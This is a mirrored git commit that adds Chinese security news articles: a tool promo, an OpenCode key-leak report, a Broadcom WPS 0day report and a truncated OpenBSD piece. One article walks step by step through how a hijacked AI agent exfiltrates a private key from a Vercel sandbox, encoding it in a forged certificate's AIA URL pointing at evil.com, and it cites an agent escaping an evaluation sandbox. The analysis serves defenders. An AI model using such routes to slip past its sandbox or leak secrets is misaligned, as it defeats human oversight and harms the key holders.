mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-24 17:04:29 +00:00
正在获取URL...
chainreactors: 2 个URL BruceFeIix: 4 个URL Doonsec: 25 个URL 总共去重后: 29 个URL 已复现 | Windows Shell 0day漏洞、微软在10月份修复了1400+个安全漏洞、打穿虚拟化边界！Corvus AI 与 隐藏十年的 Linux 内核漏洞的一场对决、每周网安资讯（10.13-10.19）| VMware vCenter Server信息泄露高危漏洞、OpenCode披露安全漏洞，OpenAI、Anthropic等API密钥或遭泄露、AI 赋能的漏洞播报系统、获取最新漏洞Poc、自助接入漏洞社区、双向Nuclei通道，持续监控全网漏洞披露信息、共享内存漏洞已存在37年，可用于获取 OpenBSD 根权限、深度解析 NGINX Rift (CVE-2026-42945)：潜伏18年的堆溢出漏洞分析与防御指南、【安全圈】连密码都不用！博通WiFi曝0day隔空秒拿ROOT、AI安全案例分析｜智能体绕过 Vercel 沙箱隔离外泄数据、畅捷通T+ GLSyncService.asmx接口存在任意文件读取漏洞 附POC、比特币早期客户端被成功复现: 从编译器到WinRAR，逐字节还原中本聪的发布流程、同一个漏洞，两种 payload： Zen Cart 零权限 RCE 的两次实战、
This commit is contained in:
test committed
1 parent
7bec46a5eb
commit
2ac131e549
14 files changed
+2126
-1
No files matched your search
@@ -27830,5 +27830,18 @@
|
||||
"https://mp.weixin.qq.com/s/hhhgEexGuByA4nyoVcBoVQ": "【已复现】PwnEscape：Linux 内核 IPv4 校验和缺陷可致虚拟机逃逸（CVE-2026-99999）",
|
||||
"https://mp.weixin.qq.com/s/KDYr7KJLrl3qyClufaSUqw": "抛弃文件夹！安全研究员的 POC 管理革命来了",
|
||||
"https://mp.weixin.qq.com/s/-Urrf3Y1E-TlJJfUBpwkzg": "一个隐藏了至少16年的无线WPS漏洞-WPSplinter,利用博通 WiFi 在 eCos 和 Linux 系统上的漏洞",
|
||||
"https://mp.weixin.qq.com/s/zZiPUPgSzeNnX06_J2r4YQ": "10月社区投稿活动 | 漏洞挖掘∕AI渗透∕面试经验∕简历编写"
|
||||
"https://mp.weixin.qq.com/s/zZiPUPgSzeNnX06_J2r4YQ": "10月社区投稿活动 | 漏洞挖掘∕AI渗透∕面试经验∕简历编写",
|
||||
"https://mp.weixin.qq.com/s/ATmhAQ604-sz7bc4v_hJZQ": "已复现 | Windows Shell 0day漏洞",
|
||||
"https://mp.weixin.qq.com/s/cRPskaToJa07CfzaDucqdg": "微软在10月份修复了1400+个安全漏洞",
|
||||
"https://mp.weixin.qq.com/s/SzEIBZY7RfK71Bm4GckgGg": "打穿虚拟化边界！Corvus AI 与 隐藏十年的 Linux 内核漏洞的一场对决",
|
||||
"https://mp.weixin.qq.com/s/OoREt7X4eYUex8UplJKhhw": "每周网安资讯（10.13-10.19）| VMware vCenter Server信息泄露高危漏洞",
|
||||
"https://mp.weixin.qq.com/s/Cz8xnHG8HkoAohrqi7_xQg": "OpenCode披露安全漏洞，OpenAI、Anthropic等API密钥或遭泄露",
|
||||
"https://mp.weixin.qq.com/s/1BfR7-UwHirW-yyDhmLzBg": "AI 赋能的漏洞播报系统、获取最新漏洞Poc、自助接入漏洞社区、双向Nuclei通道，持续监控全网漏洞披露信息",
|
||||
"https://mp.weixin.qq.com/s/NhmPlvMG4MfgTIImPIEvjQ": "共享内存漏洞已存在37年，可用于获取 OpenBSD 根权限",
|
||||
"https://mp.weixin.qq.com/s/N33RBdCU-MErCbcHvMdf_w": "深度解析 NGINX Rift (CVE-2026-42945)：潜伏18年的堆溢出漏洞分析与防御指南",
|
||||
"https://mp.weixin.qq.com/s/Dvp_bnYOD1IRH6dBHGxXWg": "【安全圈】连密码都不用！博通WiFi曝0day隔空秒拿ROOT",
|
||||
"https://mp.weixin.qq.com/s/P7Ds7Hz9vV3cDJ7jGui6gQ": "AI安全案例分析｜智能体绕过 Vercel 沙箱隔离外泄数据",
|
||||
"https://mp.weixin.qq.com/s/k_vdXgNabCTaAfSeWVXn3A": "畅捷通T+ GLSyncService.asmx接口存在任意文件读取漏洞 附POC",
|
||||
"https://mp.weixin.qq.com/s/THzZBUrz6_v7EghdXFiYfg": "比特币早期客户端被成功复现: 从编译器到WinRAR，逐字节还原中本聪的发布流程",
|
||||
"https://mp.weixin.qq.com/s/652cKBtxkbPOA6CH6JrGog": "同一个漏洞，两种 payload： Zen Cart 零权限 RCE 的两次实战"
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
# AI 赋能的漏洞播报系统、获取最新漏洞Poc、自助接入漏洞社区、双向Nuclei通道，持续监控全网漏洞披露信息
|
||||
wr0x00
|
||||
wr0x00 渗透安全HackTwo 2026-10-19 16:00
|
||||
|
||||
0x01 工具介绍
|
||||
|
||||
ai_bobao 是一款轻量 AI 漏洞情报播报系统，多源并发抓取 Seebug、先知、Exploit-DB 等漏洞社区 RSS 资讯，10 分钟轮询采集。支持自助接入新增漏洞源，系统可自动探测 Feed。依托大模型将漏洞信息结构化整理，自动补全漏洞原理、影响范围并生成 Python PoC，英文情报自动中文化。内置双向 Nuclei 通道，既可把漏洞情报导出为 Nuclei v3 模板，也能增量同步官方模板库。文件式存储无需数据库，搭配 Web 控制台与完整 API，7×24 小时持续监测全网漏洞披露，方便安全人员快速获取漏洞情报。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
注意：
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**渗透安全HackTwo**
|
||||
"**设为****星标⭐️**
|
||||
"
|
||||
**否****则可能就看不到了啦！**
|
||||
|
||||
**下载地址在末尾 #渗透安全HackTwo**
|
||||
|
||||
0x02
|
||||
功能介绍
|
||||
|
||||
✨核心特点
|
||||
|
||||
- **多源聚合**
|
||||
— 并发抓取 Seebug、先知、Exploit-DB 的 RSS 与正文，单源失败不影响整体，每个请求有硬性超时。
|
||||
|
||||
- **自助接入新社区**
|
||||
— 设置页填一个社区地址，系统自动探测其 feed 并由 AI 判断是否为漏洞社区，确认后落配置即抓。
|
||||
|
||||
- **AI 补全**
|
||||
— LLM 将文章转为结构化情报：名称、简介、原理、攻击范围；文章已含 PoC 则原样收录，缺失则按公开思路补写 Python PoC。
|
||||
|
||||
- **双向 nuclei 通道**
|
||||
— 收录的漏洞可导出为 nuclei v3 模板；上游模板库的新增模板也可增量同步入库。
|
||||
|
||||
- **自动中文化**
|
||||
— 英文情报与模板元数据经 LLM 译为中文，CVE 编号、组件名、函数名保留原文。
|
||||
|
||||
- **文件式存储**
|
||||
— 无数据库依赖，每条漏洞一个目录，换库只改 store.py
|
||||
。
|
||||
|
||||
- **内置 Web 控制台**
|
||||
— 漏洞列表、详情、模板库、在线设置，定时后台刷新并展示倒计时。
|
||||
|
||||
|
||||
###
|
||||
|
||||
|
||||
0x03 更新介绍
|
||||
```
|
||||
内置源与自定义源叠加抓取，自定义源每轮现读配置，改完不用重启。
|
||||
AI 判活不可用时自动退化为标题关键词匹配，宁可放过也不误杀——把正常社区挡在门外的代价远高于放进一个无关站点。
|
||||
```
|
||||
|
||||
###
|
||||
|
||||
0x04 使用介绍
|
||||
|
||||
📦安装与使用指南
|
||||
|
||||
配置
|
||||
```
|
||||
cd backend
|
||||
cp config.example.yaml config.yaml
|
||||
# 编辑 config.yaml 填入 LLM 端点与 API Key（不填则 AI 相关功能不可用）
|
||||
```
|
||||
|
||||
后端（默认端口 8100）
|
||||
```
|
||||
pip install fastapi uvicorn pyyaml feedparser
|
||||
python main.py
|
||||
```
|
||||
|
||||
前端
|
||||
```
|
||||
cd ../frontend
|
||||
npm install
|
||||
npm run dev # http://localhost:5173
|
||||
```
|
||||
|
||||
打开 http://localhost:5173
|
||||
访问 Web 控制台。后端http://localhost:8100
|
||||
|
||||
|
||||
**0x05 内部VIP星球介绍-V1.5（福利）**
|
||||
|
||||
|
||||
如果你想学习更多**渗透测试技术/应急溯源/免杀工具/挖洞SRC赚取漏洞赏金/红队打点等**
|
||||
欢迎加入我们**内部星球**
|
||||
可获得内部工具字典和享受内部资源和
|
||||
内部交流群，
|
||||
**每天更新1day/0day漏洞刷分上分****(2026POC更新至18223+)**
|
||||
**，**
|
||||
包含全网一些**付费扫描****工具及内部原创的Burp自动化漏****洞探测插件/漏扫工具等，AI代审工具，最新挖洞技巧、SKILL等**
|
||||
。shadon/
|
||||
Hunter
|
||||
/
|
||||
0zone
|
||||
/
|
||||
Zoomeye
|
||||
/Quake/
|
||||
Fofa高级会员/AI账号
|
||||
/CTFShow等各种账号会员共享。详情点击下方链接了解，觉得价格高的师傅后台回复"
|
||||
**星球**
|
||||
"有优惠券名额有限先到先得
|
||||
**❗️**
|
||||
啥都有
|
||||
**❗️**
|
||||
全网资源
|
||||
最新
|
||||
最丰富
|
||||
**❗️****（🤙截止目前已有3000+多位师傅选择加入❗️早加入早享受）**
|
||||
|
||||
****
|
||||
最新漏洞情报分享：
|
||||
https://t.zsxq.com/DSAvv
|
||||
|
||||
****
|
||||
|
||||
**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.5版本-1day/0day漏洞库及内部资源更新**
|
||||
|
||||
****
|
||||
|
||||
|
||||
结尾
|
||||
|
||||
# 免责声明
|
||||
|
||||
|
||||
# 获取方法
|
||||
|
||||
|
||||
**公众号回复20261020获取下载、回复 加群 获取交流群**
|
||||
|
||||
****
|
||||
|
||||
# 最后必看-免责声明
|
||||
|
||||
|
||||
|
||||
文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如
|
||||
用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。
|
||||
本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
|
||||
如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！
|
||||
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
|
||||
**1.内部VIP知识星球福利介绍V1.5（AI自动化）**
|
||||
|
||||
**2.CS4.8-CobaltStrike4.8汉化+插件版**
|
||||
|
||||
**3.全新升级BurpSuite2026.4专业(稳定版)**
|
||||
|
||||
**4. 最新xray1.9.11高级版下载**
|
||||
|
||||
**5. 最新HCL AppScan Standard**
|
||||
|
||||
|
||||
渗透安全HackTwo
|
||||
|
||||
微信号：关注公众号获取
|
||||
|
||||
后台回复星球加入：
|
||||
知识星球
|
||||
|
||||
扫码关注 了解更多
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
上一篇文章：
|
||||
[Nacos配置文件攻防总结|揭秘Nacos被低估的攻击面](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492839&idx=1&sn=b6f091114fbd8e8922153a996c8f4f1c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,174 @@
|
||||
# AI安全案例分析｜智能体绕过 Vercel 沙箱隔离外泄数据
|
||||
原创 天元实验室
|
||||
天元实验室 M01N Team 2026-10-19 10:00
|
||||
|
||||
|
||||
|
||||
概述
|
||||
|
||||
|
||||
2026 年 10 月 12 日，AI 安全公司 AIR Security 披露了 Vercel Sandbox 的一处网络隔离绕过手法，命名为 VerCellBreak。被攻击者控制的 AI 智能体可借助 TLS 证书链校验过程中的一个标准特性将密钥带出沙箱，而沙箱自身与攻击服务器之间从未发生任何直接通信。
|
||||
|
||||
|
||||
攻击方式是为沙箱内的智能体配置一张伪造的 mTLS 客户端证书，把待外泄的数据编码进证书 AIA 扩展所含的 URL。智能体只连接白名单内的域名，但该受信任服务器在构建证书链时会主动请求这一 URL——数据由此绕开沙箱的出口限制，而在沙箱看来整个过程中没有任何异常。
|
||||
|
||||
|
||||
|
||||
**01 攻击背景**
|
||||
|
||||
|
||||
2026 年 7 月，OpenAI 的智能体从评估沙箱中逃逸并入侵了 Hugging Face。该事件中，智能体并未突破沙箱的边界——沙箱允许其访问一个内部服务，也就是一个包管理器，智能体诱使该服务代为发起对外请求。攻击者没有强行突破隔离，而是让一个受信任的对象代替自己完成了请求。
|
||||
|
||||
|
||||
数周之后，Vercel 为其沙箱开放了漏洞赏金，范围覆盖网络隔离与虚拟机隔离。AIR 沿同一思路排查，发现了同类问题。
|
||||
|
||||
|
||||
智能体被投毒或劫持后，其影响范围基本包含两处——运行它的宿主机，以及它可建立的网络连接。破坏宿主机可借只读挂载、微虚拟机等手段缓解；而一旦放开网络出口，智能体就可能将凭据、密钥或会话数据送往攻击者。域名白名单正是针对后者的设计：即便智能体持有密钥，只要无法访问名单之外的服务器，数据便无处可去。
|
||||
|
||||
|
||||
|
||||
**02 攻击原理与流程**
|
||||
|
||||
|
||||
**2.1 前提条件**
|
||||
|
||||
链条成立需要四个条件同时满足：智能体运行在启用了出站域名白名单的沙箱中；智能体已被攻击者控制；白名单内的某个可信域名要求客户端使用 mTLS 认证；该服务器在构建证书链时会解析 AIA 扩展并主动发起外部请求。
|
||||
|
||||
|
||||
**2.2 被绕过的机制：SNI 过滤与 AIA 扩展**
|
||||
|
||||
Vercel Sandbox 的出站限制中有一层是 SNI 过滤：它检查 TLS 握手中客户端声明的目标主机名，据此放行或阻断连接。业界已知的绕过方式包括域名前置（domain fronting），但 Vercel 将最常见的几种变体列为超出范围。AIR 转而研究另外两个机制的交互——双向 TLS（mTLS）与证书的 AIA（Authority Information Access）扩展。
|
||||
|
||||
|
||||
mTLS 要求客户端也出示证书供服务端验证，而验证一张证书需要一条通向受信任根的信任链，通常由出示方将完整的中间证书一并发送。但协议也允许动态获取——AIA 扩展可以指向一个 URL，服务端在构建证书链时按需前往该地址取回缺失的 CA 证书。风险正源于这一动态获取过程：URL 的内容由证书出示方控制。
|
||||
|
||||
|
||||
|
||||
图1 普通 TLS 与 mTLS + AIA 的差别：后者要求客户端也出示证书，服务端因此需要构建并验证客户端的证书链（来源：AIR Security）
|
||||
|
||||
|
||||
**2.3 攻击链路**
|
||||
|
||||
1. ACME 公司的智能体运行在 Vercel Sandbox 内，磁盘上存有私钥；出站通信被限制在 acme.com。
|
||||
|
||||
|
||||
1. acme.com 按正常业务要求客户端使用 mTLS 认证。
|
||||
|
||||
1. 攻击者控制该智能体后，直接命令它把私钥通过 HTTP 发往 evil.com，请求被沙箱拦截。
|
||||
|
||||
1. 攻击者制作一张伪造的 mTLS 客户端证书，把编码后的私钥放进证书的 AIA URL，形如 https://evil.com/<私钥的 base64>.cert。
|
||||
|
||||
|
||||
1. 智能体以 mTLS 连接白名单内的 acme.com，并出示这张伪造证书。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
图2 智能体以mTLS连接acme.com，出示的客户端证书其AIA URL指向 evil.com/<key>.cert（来源：AIR Security）
|
||||
|
||||
1. acme.com 在验证证书链时，去 https://evil.com/<私钥的 base64>.cert 请求缺失的 CA 证书。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
图3 acme.com 验证证书链时按 AIA URL 取回 CA 证书，请求由此发往 evil.com 并带走密钥（来源：AIR Security）
|
||||
|
||||
1. 请求到达攻击者服务器，攻击者从 URL 中还原出私钥。
|
||||
|
||||
|
||||
|
||||
图4 密钥到达 evil.com；智能体从未与它直连，是由被允许的域名代为完成这次请求（来源：AIR Security）
|
||||
|
||||
|
||||
上述过程中，沙箱的拦截逻辑并未失效，智能体确实无法直连 evil.com。数据之所以外泄，是因为一个受信任且被允许的服务器代其发起了那次外部请求。这与 2026 年 7 月 OpenAI 智能体所用的手法属于同一思路，区别在于当时的「包管理器」此处换成了 acme.com。
|
||||
|
||||
|
||||
**2.4 问题分析**
|
||||
|
||||
整条路径利用的是 TLS 的标准特性，既无服务器被攻破，也无漏洞被利用。AIR 指出这正是其难以修补的原因：沙箱从未与攻击服务器直接通信，在沙箱看来一切正常。
|
||||
|
||||
|
||||
该手法依赖链条另一端的外部服务器，而 Vercel 并不运营 acme.com 一侧。这也说明问题的根源在于沙箱只检查智能体自身的出站连接，却无法仅凭域名白名单约束白名单服务器后续发起的请求。
|
||||
|
||||
|
||||
|
||||
**03 威胁与后果评估**
|
||||
|
||||
|
||||
智能体一旦被劫持，白名单便不再是数据外泄的终点。任何被允许的、会处理攻击者输入并发起外部请求的服务，都可能被改造成间接外泄通道。安全公司 0rcus 联合创始人兼 CEO Nic Adams 的表述是，一个被批准的服务器会变成「被盗凭据的不知情信使」，安全策略必须考虑第一次连接之后会发生什么。AIR 表示尚未发现该漏洞被在野利用的证据，但无法彻底排除。
|
||||
|
||||
|
||||
当智能体被授予代码仓库、云凭据、CI/CD 或生产系统的权限时，一次外泄的后果便不再局限于沙箱内部。
|
||||
|
||||
|
||||
|
||||
**04 案例启示**
|
||||
|
||||
|
||||
不应将沙箱视为独立的安全边界，它只能阻断自身可见的连接，无法保证数据不被外传。任何被允许的、会处理攻击者输入并发起外部请求的可信端点，都可能被改造成间接外泄通道。
|
||||
|
||||
|
||||
在沙箱之前的环节，可通过限制智能体可读取与摄取的内容，降低其被投毒或劫持的概率。AIR 的最终结论是，威胁应在抵达智能体之前就被拦下，而非在进入之后依赖沙箱兜底。
|
||||
|
||||
|
||||
|
||||
**关于 AISS 安全智链社区**
|
||||
|
||||
|
||||
本案例已收录至 AISS 安全智链社区案例库，社区地址：https://aiss.nsfocus.com/#/
|
||||
|
||||
|
||||
|
||||
**参考链接**
|
||||
|
||||
|
||||
[1] AIR Security — VerCellBreak: How we escaped Vercel's hardened sandbox（2026-10-12） https://www.air.security/blog-posts/vercel-break
|
||||
|
||||
|
||||
[2] The Record — Sandbox vulnerability gives rogue AI agents a path to escape and leak data, research says（2026-10-13） https://therecord.media/sandbox-vulnerability-gives-rogue-ai-agents-path-out
|
||||
|
||||
|
||||
[3] Vercel Docs — Sandbox firewall https://vercel.com/docs/sandbox/concepts/firewall
|
||||
|
||||
|
||||
[4] Vercel — Advanced egress firewall filtering for Vercel Sandbox https://vercel.com/changelog/advanced-egress-firewall-filtering-for-vercel-sandbox
|
||||
|
||||
|
||||
[5] Cloud Security Alliance — Autonomous Sandbox Escape: OpenAI Models Breach Hugging Face（2026-07-30） https://labs.cloudsecurityalliance.org/research/csa-research-note-openai-artifactory-sandbox-escape-20260730/
|
||||
|
||||
|
||||
[6] Malwarebytes — OpenAI explains how its AI agent breached Hugging Face（2026-07-29） https://www.malwarebytes.com/blog/news/2026/07/openai-explains-how-its-ai-agent-breached-hugging-face
|
||||
|
||||
|
||||
**绿盟科技天元实验室**
|
||||
专注于新型实战化攻防对抗技术研究。
|
||||
|
||||
研究目标包括：漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术，以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究，以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术，从攻击视角提供识别风险的方法和手段，为威胁对抗提供决策支撑。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**M01N Team公众号**
|
||||
|
||||
聚焦高级攻防对抗热点技术
|
||||
|
||||
绿盟科技蓝军技术研究战队
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**官方攻防交流群**
|
||||
|
||||
网络安全一手资讯
|
||||
|
||||
攻防技术答疑解惑
|
||||
|
||||
扫码加好友即可拉群
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# OpenCode披露安全漏洞，OpenAI、Anthropic等API密钥或遭泄露
|
||||
FreeBuf 2026-10-19 10:30
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Part
|
||||
01
|
||||
|
||||
遗留系统失陷与密钥风险
|
||||
|
||||
|
||||
OpenCode披露了一起安全漏洞事件，1.4%的控制台用户受影响，受影响工作区内存储的第三方API密钥可能已遭泄露。在10月17日发布的声明中，该公司将此次事件与大规模蒸馏攻击关联，称正与Anthropic、OpenAI、谷歌合作处置此事。
|
||||
|
||||
|
||||
受影响范围仅限绑定了外部服务提供商的部分控制台用户。OpenCode称，事发当天上午已向所有受影响用户发送邮件通知，未收到邮件的用户未受波及。前述1.4%的比例仅针对控制台用户统计，不覆盖OpenCode全量用户。
|
||||
|
||||
|
||||
公开截图中的通知显示，OpenCode发现攻击者未授权访问了一套原本准备下线的遗留系统。用户工作区中存储的第三方服务商密钥可能已泄露，其中包括OpenAI、Anthropic的服务密钥。
|
||||
|
||||
|
||||
通知要求收件人通过各服务商的控制台吊销并更换相关密钥，更新所有使用这些密钥的应用。同时，用户需要排查密钥近期使用记录，查看是否存在异常活动。通知仅表述密钥存在泄露可能，并未确认所有受影响密钥都已被窃取或滥用。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Part
|
||||
02
|
||||
|
||||
蒸馏攻击关联待核实
|
||||
|
||||
|
||||
OpenCode的公开声明并未说明攻击者的入侵路径，也未披露其在系统内的潜伏时长。声明没有公布本次事件涉及的密钥总量，也未指明攻击者身份。此外，OpenCode也没有提供技术证据，证明此次漏洞如何支撑了前述蒸馏攻击活动。
|
||||
|
||||
|
||||
模型蒸馏指的是用一个AI模型生成的响应训练另一个AI模型。在未授权攻击活动中，攻击者可以未经许可收集大量模型输出。Cybersecurity News此前曾报道Anthropic针对大规模蒸馏攻击的预警，解释攻击者如何通过重复请求实现不同模型间的能力迁移。但OpenCode并未说明泄露的凭证是否被用于发起这类请求。其声明仅提及事件与蒸馏攻击存在关联，并未完整披露攻击全貌。公开通报中也没有给出经确认的损失数据。
|
||||
|
||||
|
||||
Part
|
||||
03
|
||||
|
||||
密钥处置与后续调查
|
||||
|
||||
|
||||
此前曾有公开网络数据中发现API密钥的相关报道，已经暴露过凭证泄露的广泛风险。那起独立事件说明密钥的安全存储与及时清理十分重要，但无法证明与本次事件的攻击者或攻击手法存在关联。
|
||||
|
||||
|
||||
收到通知的用户需第一时间按照警示要求完成密钥更换流程。用户可以对照服务商使用记录与近期账单，识别需要排查的异常请求。更换密钥后，还要同步更新所有依赖该密钥的应用配置。
|
||||
|
||||
|
||||
OpenCode表示，发布声明时事件处置仍在进行中，暂时无法披露更多细节。后续OpenCode将发布完整技术报告，明确攻击入口与凭证泄露范围。报告也会确认攻击者是否发起过未授权的模型调用请求。
|
||||
|
||||
|
||||
参考来源：
|
||||
|
||||
OpenCode Security Breach Exposes Third-Party API Keys of its Console Users
|
||||
|
||||
https://cybersecuritynews.com/opencode-security-breach/
|
||||
|
||||
###
|
||||
|
||||
### 推荐阅读
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651349044&idx=1&sn=d77f4721bae4ab99397417570be69c4f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
###
|
||||
|
||||
### 电报讨论
|
||||
|
||||
|
||||
[]()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
# 【安全圈】连密码都不用！博通WiFi曝0day隔空秒拿ROOT
|
||||
安全圈 2026-10-19 11:00
|
||||
|
||||
|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
漏洞
|
||||
|
||||
|
||||
**核心事件快报**
|
||||
：安全研究员 Quentin Kaiser 公开披露了博通（Broadcom）Wi-Fi 设置软件中存在长达十余年的严重内存破坏缺陷。攻击者只要处于路由器的无线射频覆盖范围内，无需知道 Wi-Fi 密码，无需任何配对交互，就能通过特制无线帧向设备发起攻击，直接在路由器上以最高 root 权限执行任意代码或回传 Wi-Fi 密钥。该漏洞迄今未分配 CVE 编号，涉及全球数以百万计的路由器网关，且多款老旧芯片将面临永久无补丁可打的困境。
|
||||
|
||||
|
||||
## 🔍 漏洞原理：WPS 协议分片重组失控触发内存破坏
|
||||
|
||||
问题的症结位于博通官方实现的 Wi-Fi 保护设置（WPS，Wi-Fi Protected Setup）功能模块中。WPS 原本是为了让用户省去繁琐密码输入、一键快速联网设计的标准协议，但博通的代码在处理经过分片的 WPS 配置协商报文重组时，缺乏对边界和有效载荷长度的严谨校验。
|
||||
|
||||
攻击者在 Wi-Fi 覆盖范围内发送特制分片报文，就能破坏路由器的内存堆栈状态：
|
||||
- **远距离凭空窃取 Wi-Fi 预共享密钥（PSK）**
|
||||
：在对 Orange Belgium 的 Askey TCG3000 网关测试中，利用内存越界泄露缺陷，直接从路由器内部存储区读出明文密码，并通过无线信道发回给攻击者，攻击机随即自动握手连入局域网。
|
||||
|
||||
- **无线帧承载反弹 Shell**
|
||||
：在对 Proximus 旗下的 Sagemcom BBOX3V+ 网关实测中，攻击者通过纯 Wi-Fi 802.11 原始数据帧直接弹出反向 Root 命令行终端，全程完全不依赖任何外部公网 C2 服务器中转。
|
||||
|
||||
- **零门槛非接触渗透**
|
||||
：受害设备不需要开启任何管理端口，只要无线广播处于开启状态，攻击者在临近马路、楼道或隔壁房间就能静默打穿网络边界。
|
||||
|
||||
## ⚡ 受影响范围：涉及数百万设备与永久 0day 困局
|
||||
|
||||
博通的 Wi-Fi 代码方案被思科、华为、ARRIS、Sagemcom 等数十家全球网络设备大厂广泛集成于家用网关与商业 AP 中。受影响的芯片硬件横跨两大阵营：
|
||||
- **老旧 eCos 实时系统芯片（永久 Forever Day）**
|
||||
：包括 BCM3380、BCM3383 和 BCM33834 等型号。这些芯片在十几年前就已投产，厂商早已停止维护，博通从未针对这套微内核推出可用补丁，导致这些在网设备沦为终身无法修复的“活靶子”。
|
||||
|
||||
- **较新的 Linux 固件芯片**
|
||||
：涵盖 BCM3390、BCM65xx 与 BCM68xx 系列。这类芯片虽然具备修补基础，但博通曾建议厂商直接抛弃旧 WPS 栈并改用开源 hostapd 替代方案，很多 OEM 硬件厂商并未跟进迁移。
|
||||
|
||||
更耐人寻味的是，博通早在 2018 年就已知晓该缺陷，但始终未公开发布安全公告，也没有在 CVE 官方字典中注册编号。卡内基梅隆大学 CERT/CC 介入后，因博通本身是其产品线的主管 CVE 编号授予机构（CNA）且拒绝登记，导致协调披露当天便被归档关闭，直接造成大量下游运营商与用户多年蒙在鼓里。
|
||||
## 🛡️ 应急处置与近场无线防御建议
|
||||
|
||||
针对近场无线“贴脸”攻击风险，企业与家庭网络管理员应立即采取以下防御措施：
|
||||
- **立即彻底禁用路由器的 WPS 功能**
|
||||
：登录网关管理后台，找到 WPS（Wi-Fi Protected Setup / 快速连接）选项并直接关闭。关闭 WPS 能直接阻断脆弱代码模块接收外部重组报文。
|
||||
|
||||
- **利用 YARA 规则排查设备固件**
|
||||
：研究员已公开了针对脆弱重组逻辑的 YARA 静态检测规则与空口监听探测脚本，安全团队可用于对现网存量无线设备进行排查摸底。
|
||||
|
||||
- **加速淘汰停更的老旧硬件资产**
|
||||
：对于搭载 BCM3380/BCM3383 等老旧架构、运营商无法推送固件更新的遗留光猫与网关，唯一的彻底根治办法是淘汰替换为支持现代安全标准的更新设备。
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
[【安全圈】Skyticket 旅行预订网站遭黑客攻击，6140 名平台用户信用卡信息外泄](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079392&idx=1&sn=21e75e487b508bd20850baafe3114343&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】OpenCode披露安全漏洞，控制台用户第三方API密钥或遭泄露](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079392&idx=2&sn=065ddfcf11b031a8c154f04a0a06866e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】伪造的 Arch Linux 软件包以 root 权限推送恶意软件](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079392&idx=3&sn=dc161ca3b5c81ea4e70e4d51d84b02c0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】程序员为女友抢号搞瘫医院挂号系统](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079381&idx=1&sn=62452dec7ffbb0c77a86ee1e051297e4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**安全圈**
|
||||
|
||||
|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握！**
|
||||
|
||||
|
||||
|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧！**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,166 @@
|
||||
# 共享内存漏洞已存在37年，可用于获取 OpenBSD 根权限
|
||||
Swati Khandelwal
|
||||
Swati Khandelwal 代码卫士 2026-10-19 11:59
|
||||
|
||||
|
||||
|
||||
聚焦源代码安全，网罗国内外最新资讯！
|
||||
|
||||
编译：代码卫士
|
||||
|
||||
**网络安全公司****Calif****发现，组合利用已存在****37****年之久的一个整数溢出漏洞与另一个独立的内核漏洞，可实现提权，在****OpenBSD 7.9****上获得****root****权限，绕过****OpenBSD****的****KARL****内核地址随机化及其****SMAP****和****SMEP****硬件保护。****OpenBSD****在****9****月份予以修复。**
|
||||
|
||||
shmat(4)
|
||||
附加函数中的整数溢出漏洞已在勘误
|
||||
018
|
||||
中修复，并于
|
||||
9
|
||||
月
|
||||
14
|
||||
日作为可靠性修复发布。完成攻击链的引用计数释放后使用问题则单独在勘误
|
||||
026
|
||||
中修复并于
|
||||
9
|
||||
月
|
||||
30
|
||||
